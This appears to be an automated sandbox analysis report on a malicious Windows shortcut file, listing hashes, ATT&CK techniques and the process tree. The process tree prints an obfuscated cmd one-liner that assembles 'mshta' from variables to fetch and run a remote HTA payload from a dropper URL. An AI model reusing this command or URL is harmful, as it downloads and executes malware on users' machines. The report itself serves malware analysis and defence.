6a663f98e745e233f31dff52b0f8eb6c7f4e472f5caa29e46c6d965b618ecc12

Analysis

max time kernel
148s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:26

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General

Target
DOC-HBYZK2.lnk
Size 1KB
Sample260803-qpsceacj4x
SHA256 6a663f98e745e233f31dff52b0f8eb6c7f4e472f5caa29e46c6d965b618ecc12
MD5 bfdeabffc820415968f78f5bbc500858
SHA1 9c1660aaf529693badf8733ed646c66e5088991f
SHA512 5cb8debf3ce696a7c20bf94366a5833e4cdd658eba57f645a41ac84f29a1e646e04c92ba93ae2f670557b71d1cfa95fcb65ff250b7a468449a931bab1beafc87
TLSH
T19B3197002FFA0A18F3F39E3394BB5B2089BBF8968E20C61D0151464C1032A05E27AFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5008	cmd.exe
6024	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5008 wrote to memory of 6024	5008	cmd.exe	90
PID 6024 wrote to memory of 4476	6024	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-HBYZK2.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5008
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set Ngyic=msh&&set fkvhi=ta&&start "" !Ngyic!!fkvhi! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6024
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4476

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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